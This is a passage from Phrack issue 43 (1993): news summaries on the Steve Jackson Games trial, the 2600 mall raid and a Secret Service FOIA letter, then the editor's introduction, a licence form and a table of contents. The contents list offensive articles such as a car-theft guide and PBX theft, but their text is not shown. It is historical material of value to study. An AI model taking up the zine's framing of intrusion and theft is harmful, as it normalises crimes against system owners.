"Uncontested facts show the government violated the Privacy Protection Act and the Electronic Communications Privacy Act," said Pete Kennedy, attorney for Steve Jackson Games, an Austin game company that brought the lawsuit.

Mark W. Batten, attorney for the Department of Justice, which is defending the Secret Service, declined to comment on the proceedings.

Steve Jackson's company, which publishes fantasy role‑playing games ‑‑ not computer games ‑‑ was raided by the Secret Service on March 1, 1990, during a nationwide sweep of suspected criminal computer hackers.

Agents seized several computers and related hardware from the company and from the Austin home of Steve Jackson employee Loyd Blankenship. Taken from the game publisher was an electronic bulletin board used to play‑test games before they were printed and exchange electronic mail with customers and free‑lance writers.

Another seized computer contained the text of the company's work in progress, GURPS Cyberpunk, which was being prepared for the printers.

Blankenship's purported membership in the Legion of Doom ‑‑ a group of computer hackers from Austin, Houston and New York ‑‑ led the Secret Service to Steve Jackson's door.

Neither Jackson nor his company was suspected of wrongdoing.

The game publisher is named in two paragraphs of the 42‑paragraph affidavit requesting the 1990 search warrant, which targeted Blankenship ‑‑ a fact Kennedy cited in seeking summary judgment.

Kennedy presented evidence that the original Secret Service affidavit for the warrant used to raid Steve Jackson Games contained false statements. Supporting documentation showed that Bellcore expert Henry Kluepfel disputes statements attributed to him that accounted for the only link between Steve Jackson Games and the suspicion Blankenship was engaged in illegal activity.

Batten came away visibly shaken from questioning by Sparks, and later had a tense exchange with Kennedy outside the courtroom.

The lawsuit contends the government violated 1st Amendment principles by denying the free speech and public assembly of callers to Jackson's bulletin board system, Illuminati. This portion of the complaint was brought under the Privacy Protection Act, which also covers the seized Cyberpunk manuscripts ‑if the judge rules that such a book, stored electronically prior to publication, is entitled to the same protections as a printed work. The government lawyers argued the Privacy Protection Act applies only to journalistic organizations ‑‑ an argument Sparks didn't seem to buy.

The lawsuit also contends 4th Amendment principles providing against unreasonable search and seizure were violated, on grounds the Electronic Communications Privacy Act specifies protection for publishers.

The Justice Department contends electronic mail does not enjoy constitutional protections.

"They (users of Illuminati) had no expectation of privacy in their electronic mail messages," Batten said. The basis of the argument is that Illuminati's callers were not sending communications to others, but rather "revealing" them to a third party, Steve Jackson, thus negating their expectation of privacy.

________________________________________

Computer Case Opens; Agent Admits Errors January 27, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Joe Abernathy (The Houston Chronicle)(Page A11)

*Reprinted With Permission*

AUSTIN ‑‑ Plaintiff's attorneys wrested two embarrassing admissions from the U.S. Secret Service on the opening day of a federal civil lawsuit designed to establish constitutional protections for electronic publishing and electronic mail.

Special Agent Timothy Folly of Chicago admitted that crucial statements were erroneous in an affidavit he used to obtain warrants in a 1990 crackdown on computer crime.

Foley also conceded that the Secret Service's special training for computer crime investigators overlooks any mention of a law that limits search‑andseizure at publishing operations.

The case before U.S. District Judge Sam Sparks was brought by Steve Jackson Games, an Austin game publisher, with the support of electronic civil rights activists who contend that federal agents have overstepped constitutional bounds in their investigations of computer crime.

Jackson supporters already have committed more than $200,000 to the litigation, which seeks $2 million in damages from the Secret Service and other defendants in connection with a March 1990 raid on Jackson Games.

Plaintiffs hope to establish that First Amendment protections of the printed word extend to electronic information and to guarantee privacy protections for users of computer bulletin board systems, such as one called Illuminati that was taken in the raid.

Steve Jackson's attorney, Jim George of Austin, focused on those issues in questioning Foley about the seizure of the personal computer on which Illuminati ran and another PC which contained the manuscript of a pending Jackson Games book release, "GURPS Cyberpunk."

"At the Secret Service computer crime school, were you, as the agent in charge of this investigation, made aware of special rules for searching a publishing company?" George asked Foley. He was referring to the Privacy Protection Act, which states that police may not seize a work in progress from a publisher. It does not specify what physical form such a work must take.

Foley responded that the Secret Service does not teach its agents about those rules.

Earlier, Foley admitted that his affidavit seeking court approval to raid Jackson Games contained an error.

During the raid ‑‑ one of several dozen staged that day around the country in an investigation called Operation Sun Devil ‑‑ agents were seeking copies of a document hackers had taken from the computer system of BellSouth.

No criminal charges have been filed against Jackson, his company, or others targeted in several Austin raids. The alleged membership of Jackson employee Loyd Blankenship in the Legion of Doom hacker's group ‑‑ which was believed responsible for the BellSouth break‑in ‑‑ lead agents to raid Jackson Games at the same time that Blankenship's Austin home was raided.

Foley's affidavit stated that Bell investigator Henry Kluepfel had logged on to the Illuminati bulletin board and found possible evidence of a link between Jackson Games and the Legion of Doom.

But George produced a statement from Kluepfel, who works for Bellcore, formerly AT&T Bell Labs, disputing statements attributed to him in the affidavit. Foley acknowledged that part of the affidavit was erroneous.

The U.S. Department of Justice, which is defending the Secret Service, contends that only traditional journalistic organizations enjoy the protections of the Privacy Protection Act and that users of electronic mail have no reasonable expectation of privacy.

________________________________________

Judge Rebukes Secret Service For Austin Raid January 29, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Joe Abernathy (The Houston Chronicle)(Page A21)

*Reprinted With Permission*

AUSTIN ‑‑ A federal judge lambasted the U.S. Secret Service Thursday for failing to investigate properly before it seized equipment from three Austin locations in a 1990 crackdown on computer crime.

U.S. District Judge Sam Sparks' comments came on the final day of trial in a lawsuit brought by Steve Jackson Games, an Austin publisher, with the support of national computer rights activists.

The judge did not say when he will issue a formal ruling in the case. In addition to seeking $ 2 million in damages from the Secret Service and other defendants, Jackson hopes to establish privacy and freedom of the press protections for electronic information.

In a packed courtroom Thursday morning, Sparks dressed down Secret Service Special Agent Timothy Foley of Chicago, who was in charge of the March 1, 1990, raid on Jackson, one of his employees and a third Austin man. No criminal charges have been filed in connection with the raids.

"The Secret Service didn't do a good job in this case," Sparks said. "We know no investigation took place. Nobody ever gave any concern as to whether (legal) statutes were involved. We know there was damage (to Jackson)."

The Secret Service has seized dozens of computers since the nationwide crackdown began in 1990, but Jackson, a science fiction magazine and game book publisher, is the first to challenge the practice. A computer seized at Jackson Games contained the manuscript for a pending book, and Jackson alleges, among other things, that the seizure violated the Privacy Protection Act, which prohibits seizure of publishers' works in progress.

Agents testified that they were not trained in that law at the special Secret Service school on computer crime.

Sparks grew visibly angry when testimony showed that Jackson never was suspected of a crime, that agents did no research to establish a criminal connection between the firm and the suspected illegal activities of an employee, and that they did not determine that the company was a publisher.

"How long would it have taken you, Mr. Foley, to find out what Steve Jackson Games did, what it was? " asked Sparks. "An hour?

"Was there any reason why, on March 2, you could not return to Steve Jackson Games a copy, in floppy disk form, of everything taken?

"Did you read the article in Business Week magazine where it had a picture of Steve Jackson ‑‑ a law‑abiding, tax‑paying citizen ‑‑ saying he was a computer crime suspect?

"Did it ever occur to you, Mr. Foley, that seizing this material could harm Steve Jackson economically? "

Foley replied, "No, sir," but the judge offered his own answer:

"You actually did; you just had no idea anybody would actually go out and hire a lawyer and sue you."

The judge's rebuke apparently convinced the government to close its defense after the testimony from Foley, only one of several government witnesses on hand. Justice Department attorney Mark Battan entered subdued testimony seeking to limit the award of monetary damages.

The judge's comments came after cross‑examination of Foley by Pete Kennedy, Jackson's attorney.

Sparks questioned Foley about the raid, focusing on holes in the search warrant, why Jackson was not allowed to copy his work in progress after it was seized, and why his computers were not returned after the Secret Service analyzed them.

"The examination took seven days, but you didn't give Steve Jackson's computers back for three months. Why?" asked Sparks.

"So here you are, with three computers, 300 floppy disks, an owner who was asking for it back, his attorney calling you, and what I want to know is why copies of everything couldn't be given back in days. Not months. Days.

"That's what makes you mad about this case."

Besides alleging that the seizure violated the Privacy Protection Act, Jackson alleged that since one of the computers was being used to run a bulletin board system containing private electronic mail, the seizure violated the Electronic Communications Privacy Act.

Justice Department attorneys have refused comment on the case, but contended in court papers that Jackson Games is a manufacturer, and that only journalistic organizations can call upon the Privacy Protection Act.

The government said that seizure of an electronic bulletin board system does not constitute interception of electronic mail.

The Electronic Frontier Foundation committed more than $200,000 to the Jackson suit. The EFF was founded by Mitchell Kapor of Lotus Technology amid a computer civil liberties movement sparked in large part by the Secret Service computer crime crackdown that included the Austin raids.

"The dressing down of the Secret Service for their behavior is a major vindication of what we've been saying all along, which is that there were outrageous actions taken against Steve Jackson that hurt his business and sent a chilling effect to everyone using bulletin boards, and that there were larger principles at stake," said Kapor, contacted at his Cambridge, Massachusetts office.

Shari Steele, who attended the trial as counsel for the EFF, said, "We're very happy with the way the case came out. That session with the judge and Tim Foley is what a lawyer dreams about."

________________________________________

Going Undercover In The Computer Underworld January 26, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Ralph Blumenthal (The New York Times)(Page B1)

[A 36‑year old law enforcement officer from the East Coast masquerades as "Phrakr Trakr" throughout the nation's computer bulletin boards. As the organizer of the High‑Tech Crime Network, he has educated other officers in over 28 states in the use of computer communications. Their goal is to penetrate some 3000 underground bbses where computer criminals trade in stolen information, child pornography and bomb making instructions.

"I want to make more cops aware of high‑tech crime," he said. "The victims are everybody. We all end up paying for it."]

________________________________________

Hackers Breaking Into UC Computers January 23, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by T. Christian Miller (The San Francisco Chronicle)(Page A20)

[According to the University of California, hackers have been breaking into the DOD and NASA through UC computer systems. The investigation links over 100 computer hackers who have reportedly penetrated computers at UC Davis, UC Berkeley, NYU, FSU, and CSU. The FBI stated that the investigation reached as far as Finland and Czechoslovakia but did not comment on any arrests.

University officials have asked all users to change to more complex passwords by April 1.]

________________________________________

Feds Sued Over Hacker Raid At Mall February 5, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Joe Abernathy (The Houston Chronicle)(Page A5)

[A lawsuit was filed 2‑4‑93 in the Washington, D.C. federal court to force the secret service to disclose its involvement in the disruption of a meeting of computer hackers last year. The meeting, a monthly gathering of readers of "2600 Magazine" at the Pentagon City Mall was disrupted on November 6, 1992, when mall security and Arlington County Police questioned and searched the attendees.

The suit was filed by the Computer Professionals for Social Responsibility. "If this was a Secret Service operation, it raises serious constitutional questions," said Marc Rotenberg, director of CPSR.

The Secret Service declined to comment on the matter.]

‑‑‑‑‑‑‑‑‑‑

[New Info in 2600 Case ‑ from email sent by CPSR]

One month after being sued under the Freedom of Information Act (FOIA), the Secret Service has officially acknowledged that

it possesses "information relating to the breakup of a meeting

of individuals at the Pentagon City Mall in Arlington, Virginia." The admission, contained in a letter to Computer Professionals for Social Responsibility (CPSR), confirms widespread suspicions that the agency played a role in the detention and search of individuals affiliated with "2600" Magazine at the suburban Washington mall on November 6, 1992.

CPSR filed suit against the Secret Service on February 4 after the agency failed to respond to the organization's FOIA request within the statutory time limit. In its recent response, the Secret Service released copies of three news clippings concerning the Pentagon City incident but withheld other information "because the documents in the requested file contain information compiled for law enforcement purposes." While the agency asserts that it possesses no "documentation created by the Secret Service chronicling, reporting, or describing the breakup of the meeting," it does admit to possessing "information provided to the Secret Service by a confidential source which is information relating to the breakup of [the] meeting." Federal agencies classify other law enforcement agencies and corporate entities, as well as individuals, as "confidential sources."

The propriety of the Secret Service's decision to withhold the material will be determined in CPSR's pending federal lawsuit. A copy of the agency's letter is reprinted below.

David L. Sobel dsobel@washofc.cpsr.org

Legal Counsel (202) 544‑9240 (voice)

CPSR Washington Office (202) 547‑5481 (fax)

****************************************

DEPARTMENT OF THE TREASURY UNITED STATES SECRET SERVICE

MAR 5 1993

920508

David L. Sobel

Legal Counsel

Computer Professionals for

Social Responsibility

666 Pennsylvania Avenue, S.E.

Suite 303

Washington, D.C. 20003

Dear Mr. Sobel:

This is in response to your Freedom of Information Act (FOIA) request for access to "copies of all records related to the breakup of a meeting of individuals affiliated with "2600 Magazine" at the Pentagon City Mall in Arlington, Virginia on November 6, 1992."

Enclosed, please find copies of materials which are responsive to your request and are being released to you in their entirety.

Other information has been withheld because the documents in the requested file contain information compiled for law enforcement purposes. Pursuant to Title 5, United States Code, Section 552(b)(7)(A); (C); and (D), the information has been exempted since disclosure could reasonably be expected to interfere with enforcement proceedings; could reasonably be expected to constitute an unwarranted invasion of personal privacy to other persons; and could reasonably be expected to disclose the

identity of a confidential source and/or information furnished by a confidential source. The citations of the above exemptions are not to be construed as the only exemptions that are available under the Freedom of Information Act.

In regard to this matter it is, however, noted that your FOIA request is somewhat vague and very broadly written. Please be advised, that the information being withheld consists of information provided to the Secret Service by a confidential source which is information relating to the breakup of a meeting of individuals at the Pentagon City Mall in Arlington, Virginia, and, therefore, appears to be responsive to your request as it

was written. If, however, the information you are seeking is information concerning the Secret Service's involvement in the breakup of this meeting, such as any type of documentation

created by the Secret service chronicling, reporting, or describing the breakup of the meeting, please be advised that no such information exists.

If you disagree with our determination, you have the right of administrative appeal within 35 days by writing to Freedom of Information Appeal, Deputy Director, U. S. Secret Service,

1800 G Street, N.W., Washington, D.C. 20223. If you choose to file an administrative appeal, please explain the basis of your appeal.

Sincerely,

/Sig/

Melvin E. Laska

ATSAIC

Freedom of Information &

Privacy Acts Officer

Enclosure

****************************************

For more information, refer to Phrack World News, Issue 41/1:

Reports of "Raid" on 2600 Washington Meeting November 9, 1992 Confusion About Secret Service Role In 2600 Washington Raid November 7, 1992 Conflicting Stories In 2600 Raid; CRSR Files FOIA November 11, 1992

________________________________________

Surfing Off The Edge February 8, 1993

~~~~~~~~~~~~~~~~~~~~

by Richard Behar (Time Magazine)(Page 62)

[This article is so full of crap that I cannot even bring myself to include a synopsis of it. Go to the library and read it and laugh.]

________________________________________

Bulgarian Virus Writer, Scourge in the West, Hero at Home January 29, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by David Briscoe (Associated Press)

[The Dark Avenger, believed to be a computer programmer in Sophia, has drawn the attention of computer crime squads in the US and Europe. To many programmers the Dark Avenger is a computer master to many young Bulgarians. "His work is elegant. ... He helps younger programmers. He's a superhero to them," said David Stang director for the International Virus Research Center.

Neither Bulgaria nor the US has laws against the writing of computer viruses]

________________________________________

Computer Security Tips Teach Tots To Take Byte Out Of Crime February 3, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Michelle Locke (Associated Press)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Young Students Learn Why Computer Hacking Is Illegal February 4, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Bill Wallace (San Francisco Chronicle)(Page A22)

[In an attempt to teach computer crime prevention, children in kindergarten through third grade in a Berkeley elementary school are being shown a 30 minute presentation on ethics and security.

The program consists of several skits using puppets to show the children various scenarios from eating food near computer systems to proper password management.

In one episode, Gooseberry, a naive computer user, has her files erased by Dirty Dan, the malicious hacker, when she neglects to log off.

Philip Chapnick, director of the Computer Security Institute in San Francisco, praised the idea. "One of the major issues in information security in companies now is awareness. Starting the kids early ... I think it will pay off," said Chapnick.]

________________________________________

Tracking Hackers ‑ Experts Find Source In Adolescence February 25, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Mike Langberg (Knight‑Ridder News Service)

[At the National Computer Security Association convention in San Francisco, four experts analyzed the psyche of today's hacker. The panel decided that hacker bonding came from a missing or defective family. The panel also decided that hackers weren't necessarily geniuses, and that a few weeks of study would be enough to begin.

Panel member Winn Schwartau stated that there should be an end to slap‑on‑the‑wrist penalties. Sending hackers to jail would send a clear message to other hackers, according to Schwartau.

"What strikes me about hackers is their arrogance," said Michael Kabay, computer security consultant from Montreal. "These people seem to feel that their own pleasures or resentments are of supreme importance and that normal rules of behavior simply don't apply to them."]

________________________________________

Bomb Recipes Just A Keystroke Away January 10, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Tracy Gordon Fox (The Hartford Courant)(Page B1)

[Teenagers gathering information via computer have contributed greatly to the fifty percent increase in the number of homemade explosives found last year.

The computer age has brought the recipes for the explosives to the fingertips of anyone with a little computer knowledge and a modem.

One of the first police officers to discover that computers played a part in a recent West Hartford, Connecticut, bombing said that hackers were loners, who are socially dysfunctional, excel in mathematics and science, and are "over motivated in one area."

The trend has been seen around the country. The 958 bombing incidents reported nationally to the Bureau of Alcohol, Tobacco and Firearms was the highest in 15 years.]

________________________________________

Hackers Hurt Cellular Industry January 25, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Eckhouse (The San Francisco Chronicle)(Page C1)

[With only a little equipment and technical knowledge, telephone pirates can make free calls and eavesdrop on cellular conversations.

"Technically, eavesdroping is possible, but realistically I don't think it can be done," said Justin Jasche chief executive of Cellular One.

The Cellular Telecommunications Industry Association estimates that hackers make about $300 million worth of unauthorized calls a year, though others put the figure much higher.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cellular Phreaks and Code Dudes February 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Markoff (Wired) (page 60)

[Two hackers, V.T. and N.M. have discovered that celluar phones are really just little computers linked by a gigantic cellular network. And like most computers, they are programmable. The hackers have discovered that the OKI 900 has a special mode that will turn it into a scanner, enabling them to listen in on other cellular conversations.

The two also discovered that the software stored in the phones ROM takes up roughly 40K, leaving over 20K free to add in other features, They speculate on the use of the cellular phone and a computer to track users through cell sites, and to monitor and decode touchtones of voice mail box codes and credit card numbers.

Said V.T. of the OKI's programmers, "This phone was clearly built by hackers."]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Callers Invited To Talk Sex, Thanks To Hacker's Prank February 5, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(The Vancouver Sun) (Page A‑9)

[For the past two weeks, surprised callers to CTC Payroll Services' voice‑mail system have been invited to talk sex. Instead

of a pleasant, professional salutation, callers hear a man's voice suggesting that they engage a variety of intimate activities.

The prankster is a computer hacker who can re‑program the greeting message on company telephones. Company owner Cheryl MacLeod doesn't think the joke is very funny and says the hacker is ruining her business.]

43

- Introduction by Datastream Cowboy

- Phrack Loopback Part I by Phrack Staff

- Phrack Loopback Part II / Editorial by Phrack Staff

- Line Noise Part I by Phrack Staff

- Line Noise Part II by Phrack Staff

- Phrack Pro-Phile on Doctor Who by Doctor Who

- Conference News Part I by various

- Conference News Part II by various

- How To Hack Blackjack (Part I) by Lex Luthor

- How To Hack Blackjack (Part II) by Lex Luthor

- Help for Verifying Novell Security by Phrack Staff

- My Bust (Part I) by Robert Clark

- My Bust (Part II) by Robert Clark

- Playing Hide and Seek, Unix Style by Phrack Accident

- Physical Access and Theft of PBX Systems by Codec

- Guide to the 5ESS by Firm G.R.A.S.P.

- Cellular Info by Madjus

- LODCOM BBS Archive Information by unknown

- LODCOM Sample Messages by unknown

- Step By Step Guide To Stealing a Camaro by Spy Ace

- Acronyms Part I by Firm G.R.A.S.P.

- Acronyms Part II by Firm G.R.A.S.P.

- Acronyms Part III by Firm G.R.A.S.P.

- Acronyms Part IV by Firm G.R.A.S.P.

- Acronyms Part V by Firm G.R.A.S.P.

- International Scene by various

- Phrack World News by Datastream Cowboy

Introduction

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 1 of 27

Issue 43 Index

__________

P H R A C K 4 3

July 1, 1993

__________

~ finger whitehouse.gov and make a secret service agent come ~

Well, here it is: Phrack 43. This issue should really piss every security professional off. Well, actually, none of them should ever see it because only two people have registered their subscriptions.

But, then again I think we all know that the whole world is FULL of lying, thieving people who just don't care about other people's property. No, smarty, not hackers...computer professionals!

CASE 1:

The Computer Emergency Response Team. Bastions of life, liberty and the pursuit of happiness. CERT had been on the Phrack mailing list previously, and was sent a copy of 42 (as was everyone) to give them the opportunity to subscribe. Rather than do the right thing and let us at Phrack know that they were not interested in paying, and to take their name off the list, Ed DiHart instead forwarded off several copies to his cronies.

Luckily for us, Ed is not the best typist, and the mail bounced all the way back to Phrack. I called Ed and asked him why he would do such a thing, which was clearly a direct violation of US Copyright Law. Ed claimed he didn't know of any new rules for Phrack, and that he had always forwarded off a few copies to his pals. I told Ed that this practice was unacceptable and that if he wanted to continue to get Phrack he and his pals would all have to register their subscriptions. Ed said that he did not want to pay and to take CERT off the list.

A month prior to this Ed had said to me at the Computers, Freedom & Privacy conference in San Francisco, "Why are YOU here anyway? It sure is IRONIC that someone whose goal in life was to invade other people's privacy would be attending a conference on protecting privacy." I walked away from him in disgust.

While talking to Ed about Phrack I said, "You know Ed, it sure is IRONIC that an organization such as CERT, whose main goal is to help protect the property of others would so flagrantly violate US Copyright law and completely disregard someone's property rights." Man, did that feel great!

CASE 2:

BT Tymnet. Dale Drew, security guru, made the statement on IRC about Phrack, "I have absolutely no desire to pay for anything having to do with hackers." Later, someone from Dale's machine at BT Tymnet (opus.tymnet.com) logged into Len Rose's machine and ftp'd Phrack 42. With prior knowledge Phrack was not free, he willingly used company property to commit a crime. At most companies, that is grounds for termination. Luckily for Dale Tymnet doesn't give a shit. In fact, Dale several times since has gone back on IRC stating, "People here are Tymnet are kind of upset about Phrack 42." This just shows that people at Tymnet are just as criminal as they say hackers are. Since they could care less about MY property, then why should I care about theirs? Maybe I should print a list of all Tymnet internal NUIs! Well, two wrongs won't make a right, so I better not.

I did, however, send email to Dale stating that we were aware of Tymnet's transgressions and that we may be forced to take legal action. I have decided to offer BT a sweet deal on a company‑wide site license. We shall see if they take me up on this offer, or continue to steal Phrack.

CASE 3:

Gail Thackeray. A woman sworn by the court to uphold the laws of the land. This woman had the audacity to tell me that unless I enforced my copyright, it was worthless. Unless I enforce it. What the hell does that mean? Am I supposed to raid companies myself and go dig for evidence that they have stolen my information? Geez...it's not like I'm Bellcore. Gail's disgusting interpretation of the law, that unless you are big enough to stand up for yourself then you have no recourse, is a festering sore on the face of the American Legal system and I personally am appalled that this woman is allowed to act as a law enforcement professional.

Oh well, as you can tell I've had a little fun with all this. And I have effectively proven my point. Security people, corporate professionals, and law enforcement types are just as unscrupulous and unethical as they have always claimed that we are.

Only TWO PEOPLE within the computer/legal/security profession have the right to receive and keep copies of Phrack. Winn Schwartau, and a man at Mitre. It's amazing that they are the only ones with any scruples, isn't it?

Well, let's get on with the issue. This one is pure, unadulterated evil. Only the strong will survive this time. We've got Cellular, we've got Novell, we've got 5e, we've got PHRACK TRIVIA! Get comfortable, grab your favorite intoxicant, and enjoy.

*NOTES* Some of you will recognize the 5ESS file from the Summer issue of 2600 magazine. This file was sent to both myself and E. Goldstein. I was told by the author that 2600 was not printing it. Wrong. Well, we got permission from 2600 to print it here too since its such a good file, and since I spent like 8 hours dealing with the author correcting and editing it. In the future gang, if you send something to Phrack AND to 2600, TELL US BEFOREHAND! The last thing I want to hear is, "Phrack is plagiarizing 2600...gawd they are so lame." The acronym file, you will note, is DIFFERENT. Heh.

In addition to the above, you may notice that we were a bit late in distributing this issue. As many of you saw through the "resubscribe" blurb sent over the mailing list, Phrack is not going through Stormking.COM any longer. The struggle to relocate put us into further delays but I've managed to take care of securing a new distribution site. We want to thank everyone at Stormking for shipping Phrack out for so long, and wish them the best in their future endeavors.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

READ THE FOLLOWING

IMPORTANT REGISTRATION INFORMATION

Corporate/Institutional/Government: If you are a business, institution or government agency, or otherwise employed by, contracted to or providing any consultation relating to computers, telecommunications or security of any kind to such an entity, this information pertains to you.

You are instructed to read this agreement and comply with its terms and immediately destroy any copies of this publication existing in your possession (electronic or otherwise) until

such a time as you have fulfilled your registration requirements. A form to request registration agreements is provided

at the end of this file.

Individual User: If you are an individual end user whose use

is not on behalf of a business, organization or government agency, you may read and possess copies of Phrack Magazine

free of charge. You may also distribute this magazine freely

to any other such hobbyist or computer service provided for similar hobbyists. If you are unsure of your qualifications

as an individual user, please contact us as we do not wish to withhold Phrack from anyone whose occupations are not in conflict with our readership.

________________________________________

Phrack Magazine corporate/institutional/government agreement

Notice to users ("Company"): READ THE FOLLOWING LEGAL AGREEMENT. Company's use and/or possession of this Magazine is conditioned upon compliance by company with the terms of this agreement. Any continued use or possession of this Magazine is conditioned upon payment by company of the negotiated fee specified in a letter of confirmation from Phrack Magazine.

This magazine may not be distributed by Company to any

outside corporation, organization or government agency. This agreement authorizes Company to use and possess the number of copies described in the confirmation letter from Phrack Magazine and for which Company has paid Phrack Magazine the negotiated agreement fee. If the confirmation letter from Phrack Magazine indicates that Company's agreement is "Corporate‑Wide", this agreement will be deemed to cover copies duplicated and distributed by Company for use by any additional employees of Company during the Term, at no additional charge. This agreement will remain in effect for one year from the date of the confirmation letter from Phrack Magazine authorizing such continued use or such other period as is stated in the confirmation letter (the "Term"). If Company does not obtain a confirmation letter and pay the applicable agreement fee, Company is in violation of applicable US Copyright laws.

This Magazine is protected by United States copyright laws and international treaty provisions. Company acknowledges that no title to the intellectual property in the Magazine is transferred to Company. Company further acknowledges that full ownership rights to the Magazine will remain the exclusive property of Phrack Magazine and Company will not acquire any rights to the Magazine except as expressly set forth in this agreement. Company agrees that any copies of the Magazine made by Company will contain the same proprietary notices which appear in this document.

In the event of invalidity of any provision of this agreement, the parties agree that such invalidity shall not affect the validity of the remaining portions of this agreement.

In no event shall Phrack Magazine be liable for consequential, incidental or indirect damages of any kind arising out of the delivery, performance or use of the information contained within the copy of this magazine, even if Phrack Magazine has been advised of the possibility of such damages. In no event will Phrack Magazine's liability for any claim, whether in contract, tort, or any other theory of liability, exceed the agreement fee paid by Company.

This Agreement will be governed by the laws of the State of Texas as they are applied to agreements to be entered into and to be performed entirely within Texas. The United Nations Convention on Contracts for the International Sale of Goods is specifically disclaimed.

This Agreement together with any Phrack Magazine

confirmation letter constitute the entire agreement between Company and Phrack Magazine which supersedes any prior agreement, including any prior agreement from Phrack Magazine, or understanding, whether written or oral, relating to the subject matter of this Agreement. The terms and conditions of this Agreement shall apply to all orders submitted to Phrack Magazine and shall supersede any different or additional terms on purchase orders from Company.

________________________________________

REGISTRATION INFORMATION REQUEST FORM

We have approximately __________ users.

We desire Phrack Magazine distributed by (Choose one):

Electronic Mail: _________

Hard Copy: _________

Diskette: _________ (Include size & computer format)

Name:_______________________________ Dept:____________________

Company:_______________________________________

Address:_______________________________________

________________________________________

City/State/Province:_______________________________________

Country/Postal Code:_______________________________________

Telephone:____________________ Fax:__________________________

Send to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Enjoy the magazine. It is for and by the hacking community. Period.

Editor‑In‑Chief : Erik Bloodaxe (aka Chris Goggans) 3L33t : OMAR

News : Datastream Cowboy

Photography : dFx

Pornography : Stagliano

Prison Consultant : Co / Dec

The Baddest : Dolomite

Rad Book : Snow Crash

Reasons Why I Am

The Way I Am : Hoffman, Hammett, The Power Computer Typist : Minor Threat

Future Movie Star : Weevil

SCon Acid Casualty : Weevil

Thanks To : Robert Clark, Co/Dec, Spy Ace, Lex Luthor Phreak Accident, Madjus, Frosty, Synapse, Hawkwind Firm G.R.A.S.P., Aleph One, Len Rose, Seven‑Up Computer Crime Laboratories

"If you can take the bag off of your own head, then you haven't had enough nitrous." ‑‑ KevinTX

Phrack Magazine V. 4, #43, July 1, 1993. ISSN 1068‑1035 Contents Copyright (C) 1993 Phrack Magazine, all rights reserved. Nothing may be reproduced in whole or in part without written permission of the Editor‑In‑Chief. Phrack Magazine is made available quarterly to the amateur computer hobbyist free of charge. Any corporate, government, legal, or otherwise commercial usage or possession (electronic or otherwise) is strictly prohibited without prior registration, and is in violation of applicable US Copyright laws. To subscribe, send email to phrack@well.sf.ca.us and ask to be added to the list.

Phrack Magazine

603 W. 13th #1A‑278 (Phrack Mailing Address) Austin, TX 78701

ftp.netsys.com (Phrack FTP Site) /pub/phrack

phrack@well.sf.ca.us (Phrack E‑mail Address)

Submissions to the above email address may be encrypted

with the following key : (Not that we use PGP or encourage its use or anything. Heavens no. That would be politically‑incorrect. Maybe someone else is decrypting our mail for us on another machine that isn't used for Phrack publication. Yeah, that's it. :) )

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.1

mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR tCZQaHJhY2sgTWFnYXppbmUgPHBocmFja0B3ZWxsLnNmLmNhLnVzPg==

=q2KB

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑= Phrack 43 =‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by The Editor 24K

2. Phrack Loopback Part I 38K

3. Phrack Loopback Part II / Editorial 44K

4. Line Noise Part I 39K

5. Line Noise Part II 43K

6. Phrack Pro‑Phile on Doctor Who 15K 7. Conference News Part I by Various Sources 53K 8. Conference News Part II by Various Sources 58K 9. How To Hack Blackjack (Part I) by Lex Luthor 52K 10. How To Hack Blackjack (Part II) by Lex Luthor 50K 11. Help for Verifying Novell Security by Phrack Staff 48K 12. My Bust (Part I) by Robert Clark 56K 13. My Bust (Part II) by Robert Clark 55K 14. Playing Hide and Seek, Unix Style by Phrack Accident 31K 15. Physical Access and Theft of PBX Systems by Co/Dec 28K 16. Guide to the 5ESS by Firm G.R.A.S.P. 63K 17. Cellular Info by Madjus (N.O.D.) 47K 18. LODCOM BBS Archive Information 24K

19. LODCOM Sample Messages 52K

